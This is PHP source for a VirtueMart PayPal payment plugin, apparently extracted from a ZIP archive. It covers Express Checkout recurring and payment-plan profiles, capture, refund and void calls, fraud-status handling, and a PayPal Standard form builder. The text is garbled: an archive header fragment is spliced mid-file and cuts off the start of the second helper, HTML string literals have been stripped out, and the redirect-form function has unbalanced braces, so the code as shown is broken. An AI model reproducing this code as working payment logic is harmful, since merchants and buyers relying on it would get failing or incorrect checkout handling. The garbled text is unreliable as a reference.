$post_variables['TRIALBILLINGFREQUENCY'] = $this->getDurationValue($this->_method->trial1_duration);
$post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration);
$post_variables['TRIALTOTALBILLINGCYCLES'] = $this->_method->subcription_trials;
$post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0;
}
$this->sendRequest($post_variables);
return $this->handleResponse();
}
public function CreatePaymentPlanProfile() {
//Payment plans are not implemented in the API.
//A workaround is to create a subscription profile and divide the total amount by the term.
$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addToken($post_variables);
//$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
$post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number;
$post_variables['DESC'] = $this->order['details']['BT']->order_number . ': ' . $this->getPaymentPlanDesc();
if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
$initAmount = $this->cart->pricesUnformatted['salesPricePayment'];
} else {
$initAmount = 0;
}
$occurence_amount = round(($this->total - $initAmount) / $this->_method->payment_plan_term, 2);
if ($this->_method->payment_plan_defer == 2) {
$initAmount += $occurence_amount;
$occurences_count = $this->_method->payment_plan_term - 1;
} else {
$occurences_count = $this->_method->payment_plan_term;
}
if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) {
$startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime);
} else {
$startDate = JFactory::getDate();
}
$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601();
$post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling';
$post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration);
$post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration);
$post_variables['TOTALBILLINGCYCLES'] = $occurences_count;
if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
$post_variables['INITAMT'] = $initAmount;
$post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure';
}
$post_variables['AMT'] = $occurence_amount;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function GetRecurringPaymentsProfileDetails($profileId) {
$post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails');
$post_variables['PROFILEID'] = $profileId;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function ManageRecurringPaymentsProfileStatus($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
$post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus');
$post_variables['PROFILEID'] = $paypal_data->PROFILEID;
$post_variables['ACTION'] = 'Cancel';
$post_variables['TOKEN'] = $paypal_data->TOKEN;
$post_variables['PAYERID'] = $paypal_data->payer_id;
$this->sendRequest($post_variables);
$this->handleResponse();
return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID);
}
function DoCapture($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
//Only capture payment if it still pending
if (strcasecmp($paypal_data->PAYMENTINFO_0_PAYMENTSTATUS, 'Pending') != 0 && strcasecmp($paypal_data->PAYMENTINFO_0_PENDINGREASON, 'Authorization') != 0) {
return false;
}
$post_variables = $this->initPostVariables('DoCapture');
//Do we need to reauthorize ?
$reauth = $this->doReauthorize($paypal_data->PAYMENTINFO_0_TRANSACTIONID, $paypal_data);
if ($reauth === false) {
$post_variables['AUTHORIZATIONID'] = $paypal_data->PAYMENTINFO_0_TRANSACTIONID;
} else {
$post_variables['AUTHORIZATIONID'] = $reauth;
}
$post_variables['TOKEN'] = $paypal_data->TOKEN;
$post_variables['PAYERID'] = $paypal_data->payer_id;
$post_variables['PAYMENTACTION'] = 'DoCapture';
$post_variables['AMT'] = $this->total;
$post_variables['COMPLETETYPE'] = 'Complete';
$this->sendRequest($post_variables);
$success = $this->handleResponse();
if (!$success) {
$this->doVoid($payment);
}
return $success;
}
function doReauthorize($AuthorizationID, $paypal_data) {
// TODO
return false;
$post_variables = $this->initPostVariables('DoReauthorization');
$post_variables['TOKEN'] = $paypal_data->TOKEN;
$post_variables['PAYERID'] = $paypal_data->payer_id;
$post_variables['AuthorizationID'] = $AuthorizationID;
$post_variables['PAYMENTACTION'] = 'DoReauthorization';
$post_variables['AMT'] = $this->total;
$post_variables['CURRENCYCODE'] = $paypal_data->PAYMENTINFO_0_CURRENCYCODE;
$this->sendRequest($post_variables);
if ($this->handleResponse()) {
return $this->response['AUTHORIZATIONID'];
} else {
$error = '';
for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) {
$error .= $this->response["L_ERRORCODE" . $i];
$message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i];
$error .= ":" . $message . "
";
}
VmError($error);
return false;
}
}
function RefundTransaction($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
if ($payment->paypal_response_payment_status == 'Completed') {
$post_variables = $this->initPostVariables('RefundTransaction');
$post_variables['REFUNDTYPE'] = 'Full';
} else if ($payment->paypal_response_payment_status == 'Pending' && $payment->paypal_response_pending_reason == 'authorization') {
$post_variables = $this->initPostVariables('DoVoid');
} else {
return false;
}
$post_variables['AuthorizationID'] = $payment->paypal_response_txn_id;
$post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id;
$post_variables['TOKEN'] = $paypal_data->TOKEN;
$post_variables['PAYERID'] = $paypal_data->payer_id;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function doVoid($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
$post_variables = $this->initPostVariables('DoVoid');
$post_variables['AuthorizationID'] = $payment->paypal_response_txn_id;
$post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id;
$post_variables['TOKEN'] = $paypal_data->TOKEN;
$post_variables['PAYERID'] = $paypal_data->payer_id;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function isFraudDetected() {
if ($this->response['ACK'] == 'SuccessWithWarning' &&
$this->response['L_ERRORCODE0'] == self::FMF_PENDED_ERROR_CODE &&
$this->response['PAYMENTSTATUS'] == "Pending"
) {
$this->debugLog($this->response, 'Fraud Detected', 'error');
return true;
} else {
return false;
}
}
function getNewOrderStatus() {
if ($this->isFraudDetected()) {
$new_status = $this->_method->status_fraud;
} elseif ($this->_method->payment_action == 'Authorization' || $this->_method->payment_type == '_xclick-payment-plan' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['PAYMENTINFO_0_PAYMENTSTATUS'] == 'Pending') {
$new_status = $this->_method->status_pending;
} else {
$new_status = $this->_method->status_success;
}
return $new_status;
}
/**
* How To Recover from Funding Failure Error Code 10486 in DoExpressCheckoutPayment
* https://developer.paypal.com/docs/classic/express-checkout/ht_ec_fundingfailure10486/
* @return bool
*/
function handleResponse() {
if ($this->response) {
if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') {
if ($this->response['L_ERRORCODE0'] != self::FRAUD_FAILURE_ERROR_CODE) {
$this->customerData->clear();
}
$error = '';
$public_error = '';
for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) {
$error .= $this->response["L_ERRORCODE" . $i];
$message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i];
$error .= ": " . $message . "
";
}
if ($this->_method->debug) {
$public_error = $error;
}
$this->debugLog($this->response, 'handleResponse:', 'debug');
VmError($error, $public_error);
return false;
} elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) {
return true;
} else {
// Unexpected ACK type. Log response and inform the buyer that the
// transaction must be manually investigated.
$error = '';
$public_error = '';
$error="Unexpected ACK type:". $this->response['ACK'];
$this->debugLog($this->response, 'Unexpected ACK type:', 'debug');
if ($this->_method->debug) {
$public_error = $error;
}
VmError($error, $public_error);
return false;
}
}
}
function storeAddresses() {
$this->cart = VirtueMartCart::getCart();
$addressST = $addressBT = array();
if ($this->response['SHIPTONAME'] == $this->response['FIRSTNAME'] . ' ' . $this->response['LASTNAME']) {
$firstName = $this->response['FIRSTNAME'];
$lastName = $this->response['LASTNAME'];
} else {
$shipToName = explode(' ', $this->response['SHIPTONAME']);
$firstName = $shipToName[0];
$lastName = '';
if (count($shipToName) > 1) {
$lastName = str_replace($firstName . ' ', '', $this->response['SHIPTONAME']);
}
}
if ($this->cart->BT == 0 or empty($this->cart->BT)) {
$addressBT['email'] = $this->response['EMAIL'];
$addressBT['first_name'] = $firstName;
$addressBT['last_name'] = $lastName;
$addressBT['address_1'] = $this->response['SHIPTOSTREET'];
$addressBT['city'] = $this->response['SHIPTOCITY'];
$addressBT['zip'] = $this->response['SHIPTOZIP'];
$addressBT['virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']);
$addressBT['virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']);
$this->cart->saveAddressInCart($addressBT, 'BT', true);
}
$addressST['shipto_address_type_name'] = 'PayPal Account';
$addressST['shipto_first_name'] = $firstName;
$addressST['shipto_last_name'] = $lastName;
$addressST['shipto_address_1'] = $this->response['SHIPTOSTREET'];
$addressST['shipto_city'] = $this->response['SHIPTOCITY'];
$addressST['shipto_zip'] = $this->response['SHIPTOZIP'];
$addressST['shipto_virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']);
$addressST['shipto_virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']);
$this->cart->STsameAsBT = 0;
$this->cart->setCartIntoSession ();
$this->cart->saveAddressInCart($addressST, 'ST', true);
}
function storeNoteToSeller() {
if (array_key_exists('PAYMENTREQUEST_0_NOTETEXT', $this->response)) {
$this->cart = VirtueMartCart::getCart();
$this->cart->customer_comment = $this->response['PAYMENTREQUEST_0_NOTETEXT'];
$this->cart->setCartIntoSession();
}
}
function storePayerId() {
if (array_key_exists('PAYERID', $this->response)) {
$this->customerData->setVar('payer_id', $this->response['PAYERID']);
$this->customerData->save();
}
}
function storePayerStatus() {
if (array_key_exists('PAYERSTATUS', $this->response)) {
$this->customerData->setVar('payerstatus', $this->response['PAYERSTATUS']);
$this->customerData->save();
}
}
function redirectToPayPal($token = '') {
$useraction = '';
if ($this->response['method'] == 'DoExpressCheckoutPayment') {
$useraction = '&useraction=commit';
}
if (empty($token)) {
$token = $this->response['TOKEN'];
}
jimport('joomla.environment.browser');
$browser = JBrowser::getInstance();
if ($browser->isMobile()) {
$url = $this->_getPayPalUrl() . '?cmd=_express-checkout-mobile&token=' . $token . $useraction;
} else {
$url = $this->_getPayPalUrl() . '?cmd=_express-checkout&token=' . $token . $useraction;
}
if ($this->_method->debug) {
echo '';
jexit();
} else {
//header('location: ' . $url);
$app = JFactory::getApplication();
$app->redirect($url);
}
}
function validate($enqueueMessage = true) {
//if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) {
if (!$this->customerData->getVar('token')) {
$this->getToken();
//Code stops here as the getToken method should redirect to PayPal
} elseif (!$this->customerData->getVar('payer_id')) {
$this->customerData->clear();
$this->getToken();
} else {
return parent::validate();
}
}
function setExpressCheckout($enqueueMessage = true) {
//if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) {
// Checks if there is already a token. If not create one.
if (!$this->customerData->getVar('token')) {
$this->getToken();
//Code stops here as the getToken method should redirect to PayPal
} else {
return parent::validate();
}
$success = $this->ManageCheckout(true);
$response = $this->getResponse();
}
public function getResponse($withCustomerData = true) {
$response = parent::getResponse();
if (is_array($this->order) && is_object($this->order['details']['BT'])) {
$response['invoice'] = $this->order['details']['BT']->order_number;
} else if (is_object($this->order)) {
$response['invoice'] = $this->order->order_number;
}
if ($withCustomerData) {
$response['payer_id'] = $this->customerData->getVar('payer_id');
$response['first_name'] = $this->customerData->getVar('first_name');
$response['last_name'] = $this->customerData->getVar('last_name');
$response['payer_email'] = $this->customerData->getVar('payer_email');
}
return $response;
}
function getExtraPluginInfo() {
$extraInfo = '';
//Are we coming back from Express Checkout?
$expressCheckout = JRequest::getVar('expresscheckout', '');
if ($expressCheckout == 'cancel') {
$this->customerData->clear();
if (!class_exists('VirtueMartCart')) {
require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php');
}
$cart = VirtueMartCart::getCart();
$cart->virtuemart_paymentmethod_id = 0;
$cart->setCartIntoSession();
}
if (!$this->customerData->getVar('token')) {
$this->getToken();
} elseif ($expressCheckout == 'done') {
$this->getExpressCheckoutDetails();
}
$extraInfo .= parent::getExtraPluginInfo();
return $extraInfo;
}
protected function getDurationUnit($duration) {
$parts = explode('-', $duration);
switch ($parts[1]) {
case 'D':
return 'Day';
case 'W':
return 'Week';
case 'M':
return 'Month';
case 'Y':
return 'Year';
}
}
/**
* Accelerated Onboarding only allowed for Sales Payment
* @return string
*/
function GetPaymentAction() {
if ($this->isAacceleratedOnboarding()) {
return 'Sale';
} else {
return $this->_method->payment_action;
}
}
/**
* This page returns a 404 https://www.paypal.com/mx/cgi-bin/?cmd=xpt/Merchant/merchant/ExpressCheckoutButtonCode-outside
*
* code form here
* https://www.paypalobjects.com/IntegrationCenter/ic_express-buttons.html
* @return array
*/
function getExpressCheckoutButton() {
$button = array();
$lang = jFactory::getLanguage();
$lang_iso = str_replace('-', '_', $lang->gettag());
$available_buttons = array('en_US', 'en_GB', 'de_DE', 'es_ES', 'pl_PL', 'nl_NL', 'fr_FR', 'it_IT', 'zn_CN');
if (!in_array($lang_iso, $available_buttons)) {
$lang_iso = 'en_US';
}
// SetExpressCheckout
$button['link'] = JURI::root() . 'index.php?option=com_virtuemart&view=plugin&type=vmpayment&name=' . $this->_method->payment_element . '&action=SetExpressCheckout&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id;
$button['img'] = JURI::root() . 'plugins/vmpayment/' . $this->_method->payment_element . '/' . $this->_method->payment_element . '/assets/images/PP_Buttons_CheckOut_119x24_v3.png';
return $button;
}
function getExpressProduct() {
$lang = jFactory::getLanguage();
$lang_iso = str_replace('-', '_', $lang->gettag());
$paypal_buttonurls = array('en_US' => 'https://www.paypal.com/en_US/i/logo/PayPal_mark_60x38.gif',
'en_GB' => 'https://www.paypal.com/en_GB/i/bnr/horizontal_solution_PP.gif',
'de_DE' => 'https://www.paypal.com/de_DE/DE/i/logo/lockbox_150x47.gif',
'es_ES' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
'pl_PL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
'nl_NL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
'fr_FR' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
'it_IT' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/it_IT/IT/i/bnr/bnr_horizontal_solution_PP_178wx80h.gif',
'zn_CN' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif');
$paypal_infolink = array('en_US' => 'https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'en_GB' => 'https://www.paypal.com/uk/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'de_DE' => 'https://www.paypal.com/de/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'es_ES' => 'https://www.paypal.com/es/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'pl_PL' => 'https://www.paypal.com/pl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'nl_NL' => 'https://www.paypal.com/nl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'fr_FR' => 'https://www.paypal.com/fr/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'it_IT' => 'https://www.paypal.com/it/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
'zn_CN' => 'https://www.paypal.com/cn/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside');
if (!isset($paypal_buttonurls[$lang_iso])) {
$lang_iso = 'en_US';
}
$paypalProduct['link'] = $paypal_infolink[$lang_iso];
$paypalProduct['img'] = $paypal_buttonurls[$lang_iso];
return $paypalProduct;
}
function getOrderBEFields() {
$showOrderFields = array(
'ACK' => 'PAYMENTINFO_0_ACK',
'TXN_ID' => 'PAYMENTINFO_0_TRANSACTIONID',
'CORRELATIONID' => 'CORRELATIONID',
'PAYER_ID' => 'payer_id',
'MC_GROSS' => 'PAYMENTINFO_0_AMT',
'MC_FEE' => 'PAYMENTINFO_0_FEEAMT',
'TAXAMT' => 'PAYMENTINFO_0_TAXAMT',
'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE',
'PAYMENT_STATUS' => 'PAYMENTINFO_0_PAYMENTSTATUS',
'PENDING_REASON' => 'PAYMENTINFO_0_PENDINGREASON',
'REASON_CODE' => 'PAYMENTINFO_0_REASONCODE',
'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE',
'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY',
'PROTECTION_ELIGIBILITYTYPE' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITYTYPE'
);
return $showOrderFields;
}
function highlight($field) {
return '' . $field . '';
}
}
PK ?\q;S/C /C paypal/helpers/paypalstd.phpnu W+A _method->sandbox ) {
$this->merchant_email = $this->_method->sandbox_merchant_email;
} else {
$this->merchant_email = $this->_method->paypal_merchant_email;
}
if (empty($this->merchant_email)) {
$sandbox = "";
if ($this->_method->sandbox ) {
$sandbox = 'SANDBOX_';
}
$text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'MERCHANT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
vmError($text, $text);
return FALSE;
}
}
public function ManageCheckout() {
return $this->preparePost();
}
public function preparePost() {
$post_variables = $this->initPostVariables($this->_method->payment_type);
$paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency);
switch ($this->_method->payment_type) {
case '_xclick':
case '_donations':
$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
$post_variables['amount'] = $this->total;
break;
case '_oe-gift-certificate':
$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
//$post_variables['amount'] = round ($paymentCurrency->convertCurrencyTo ($this->_method->payment_currency, $this->order['details']['BT']->order_total, FALSE), 2);;
$post_variables['fixed_denom'] = vmPSPlugin::getAmountValueInCurrency($this->order['details']['BT']->order_salesPrice, $this->_method->payment_currency);
//$post_variables['min_denom'] = $this->total;
//$post_variables['max_denom'] = $this->total;
$post_variables['shopping_url'] = JURI::root();
$post_variables['buyer_name'] = $this->order['details']['BT']->first_name . ' ' . $this->order['details']['BT']->last_name;
if (array_key_exists('ST', $this->order['details'])) {
$post_variables['recipient_name'] = $this->order['details']['ST']->first_name . ' ' . $this->order['details']['ST']->last_name;
}
break;
case '_cart':
$this->addPrices($post_variables);
break;
case '_xclick-subscriptions':
$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
if ($this->_method->subcription_trials) {
$post_variables['a1'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; //Trial1 price.
$post_variables['p1'] = $this->getDurationValue($this->_method->trial1_duration);
$post_variables['t1'] = $this->getDurationUnit($this->_method->trial1_duration);
}
/*if ($this->_method->subcription_trials == 2) {
$post_variables['a2'] = ($this->_method->trial2_price) ? $this->_method->trial2_price : 0; //Trial2 price.
$post_variables['p2'] = $this->getDurationValue($this->_method->trial2_duration);
$post_variables['t2'] = $this->getDurationUnit($this->_method->trial2_duration);
}*/
$post_variables['a3'] = $this->total; //Regular subscription price.
$post_variables['p3'] = $this->getDurationValue($this->_method->subscription_duration);
$post_variables['t3'] = $this->getDurationUnit($this->_method->subscription_duration);
$post_variables['src'] = 1; //Recurring payments. Subscription payments recur unless subscribers cancel their subscriptions before the end of the current billing cycle or you limit the number of times that payments recur with the value that you specify for srt
$post_variables['srt'] = $this->_method->subscription_term; //Recurring times. Number of times that subscription payments recur. Specify an integer with a minimum value of 1 and a maximum value of 52. Valid only if you specify src="1"
$post_variables['sra'] = 1; //Reattempt on failure. If a recurring payment fails, PayPal attempts to collect the payment two more times before canceling the subscription.
$post_variables['modify'] = 0; //Modification behavior. Allowable values are:
//0 – allows subscribers only to sign up for new subscriptions,
//1 – allows subscribers to sign up for new subscriptions and modify their current subscriptions
//2 – allows subscribers to modify only their current subscriptions
break;
case '_xclick-auto-billing':
$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
//A description of the automatic billing plan.
$post_variables['max_text'] = $this->_method->payment_desc;
//Specify whether to let buyers enter maximum billing limits in a text box or choose from a list of maximum billing limits that you specify.
//Allowable values are:
//max_limit_own – your button displays a text box for buyers to enter their own maximums above a minimum billing limit that you set with the min_amount variable.
//max_limit_defined – your button displays a dropdown menu of product options with prices to let buyers choose their maximum billing limits.
$post_variables['set_customer_limit'] = 'max_limit_defined';
//The minimum monthly billing limit, if you have one. Valid only if set_customer_limit = max_limit_own.
//$post_variables['min_amount'] = 0;
$post_variables['min_amount'] = $this->total;
switch ($this->_method->billing_max_amount_type) {
case 'cust':
$post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->customerData->getVar('autobilling_max_amount'), $this->_method->payment_currency);
break;
case 'value':
$post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->_method->billing_max_amount, $this->_method->payment_currency);
break;
case 'perc':
$percentage = $this->_method->billing_max_amount;
$max_amount = ($this->total * floatval($percentage)) / 100 + $this->total;
$post_variables['max_amount'] = round($max_amount, 2);
break;
case 'cart':
default:
$post_variables['max_amount'] = $this->total;
break;
}
break;
case '_xclick-payment-plan':
$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
$post_variables['disp_tot'] = 'Y'; //Display the total payment amount to buyers during checkout
$post_variables['option_index'] = 0;
$post_variables['option_select0_type'] = 'E'; //F – pay in full, at checkout, E – pay in equal periods, beginning at checkout or sometime later, V – pay in variable periods, beginning at checkout
if ($this->_method->payment_plan_defer) {
$post_variables['option_select0_a0'] = '0.00';
$post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_defer_duration);
$post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_defer_duration);
$post_variables['option_select0_n0'] = 1;
$post_variables['option_select0_a1'] = round($this->total / $this->_method->payment_plan_term, 2);
$post_variables['option_select0_p1'] = $this->getDurationValue($this->_method->payment_plan_duration);
$post_variables['option_select0_t1'] = $this->getDurationUnit($this->_method->payment_plan_duration);
$post_variables['option_select0_n1'] = $this->_method->payment_plan_term;
} else {
$post_variables['option_select0_a0'] = round($this->total / $this->_method->payment_plan_term, 2);
$post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_duration);
$post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_duration);
$post_variables['option_select0_n0'] = $this->_method->payment_plan_term;
}
$post_variables['os0'] = 'pay-in-' . $this->_method->payment_plan_term;
$post_variables['option_select0'] = 'pay-in-' . $this->_method->payment_plan_term;
$post_variables['option_select0_name'] = $this->_method->payment_name;
}
$url = $this->_getPayPalUrl();
// add spin image
$html = 'Redirection';
if ($this->_method->debug) {
$html .= '
';
$html .= '';
return $html;
}
// todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge
function initPostVariables($payment_type) {
$address = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);
$post_variables = Array();
$post_variables['cmd'] = '_ext-enter';
$post_variables['redirect_cmd'] = $payment_type;
$post_variables['paymentaction'] = strtolower($this->_method->payment_action);
$post_variables['upload'] = '1';
$post_variables['business'] = $this->merchant_email; //Email address or account ID of the payment recipient (i.e., the merchant).
$post_variables['receiver_email'] = $this->merchant_email; //Primary email address of the payment recipient (i.e., the merchant
$post_variables['order_number'] = $this->order['details']['BT']->order_number;
$post_variables['invoice'] = $this->order['details']['BT']->order_number;
$post_variables['custom'] = $this->context;
$post_variables['currency_code'] = $this->currency_code_3;
if ($payment_type == '_xclick') {
$post_variables['address_override'] = $this->_method->address_override; // 0 ?? Paypal does not allow your country of residence to ship to the country you wish to
}
$post_variables['first_name'] = $address->first_name;
$post_variables['last_name'] = $address->last_name;
$post_variables['address1'] = $address->address_1;
$post_variables['address2'] = isset($address->address_2) ? $address->address_2 : '';
$post_variables['zip'] = $address->zip;
$post_variables['city'] = $address->city;
$post_variables['state'] = isset($address->virtuemart_state_id) ? ShopFunctions::getStateByID($address->virtuemart_state_id, 'state_2_code') : '';
$post_variables['country'] = ShopFunctions::getCountryByID($address->virtuemart_country_id, 'country_2_code');
$post_variables['email'] = $this->order['details']['BT']->email;
$post_variables['night_phone_b'] = $address->phone_1;
$post_variables['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid' ). '&lang='.JRequest::getCmd('lang','') ;
//Keep this line, needed when testing
//$post_variables['return'] = JRoute::_(JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'),
$post_variables['notify_url'] = JURI::root() . 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component' . '&lang='.JRequest::getCmd('lang','') ;
$post_variables['cancel_return'] =JURI::root(). 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ;
//$post_variables['undefined_quantity'] = "0";
//$post_variables['test_ipn'] = $this->_method->debug;
$post_variables['rm'] = '2'; // the buyer’s browser is redirected to the return URL by using the POST method, and all payment variables are included
// todo: check when in subdirectories
// todo add vendor image
//$post_variables['image_url'] = JURI::root() . $vendor->images[0]->file_url;
$post_variables['bn'] = self::BNCODE;
$post_variables['no_shipping'] = $this->_method->no_shipping;
$post_variables['no_note'] = "1";
if (empty($this->_method->headerimg) OR $this->_method->headerimg == -1 ) {
$post_variables['image_url'] = $this->getLogoImage();
} else {
$post_variables['cpp_header_image'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg;
}
/*
* The HTML hex code for your principal identifying color.
* Valid only for Buy Now and Add to Cart buttons and the Cart Upload command.
* Not used with Subscribe, Donate, or Buy Gift Certificate buttons.
*/
if ($this->_method->bordercolor) {
$post_variables['cpp_cart_border_color'] = str_replace('#', '', strtoupper($this->_method->bordercolor));
}
// TODO Check that paramterer
/*
* cpp_payflow_color The background color for the checkout page below the header.
* Deprecated for Buy Now and Add to Cart buttons and the Cart Upload command
*
*/
// $post_variables['cpp_payflow_color'] = 'ff0033';
return $post_variables;
}
function addPrices(&$post_variables) {
$paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency);
$i = 1;
// Product prices
if ($this->cart->products) {
foreach ($this->cart->products as $key => $product) {
$post_variables["item_name_" . $i] = $this->getItemName($product->product_name);
if ($product->product_sku) {
$post_variables["item_number_" . $i] = $product->product_sku;
}
$post_variables["amount_" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]);
$post_variables["quantity_" . $i] = $product->quantity;
$i++;
}
}
$post_variables["handling_cart"] = $this->getHandlingAmount();
$post_variables["handling_cart"] += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency);
$post_variables['currency_code'] = $this->currency_code_3;
if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) {
$post_variables['discount_amount_cart'] = abs(vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency));
}
$pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
}
function getExtraPluginInfo() {
return;
}
function getOrderBEFields() {
$showOrderBEFields = array(
'TXN_ID' => 'txn_id',
'PAYER_ID' => 'payer_id',
'PAYER_STATUS' => 'payer_status',
'PAYMENT_TYPE' => 'payment_type',
'MC_GROSS' => 'mc_gross',
'MC_FEE' => 'mc_fee',
'TAXAMT' => 'tax',
'MC_CURRENCY' => 'mc_currency',
'PAYMENT_STATUS' => 'payment_status',
'PENDING_REASON' => 'pending_reason',
'REASON_CODE' => 'reason_code',
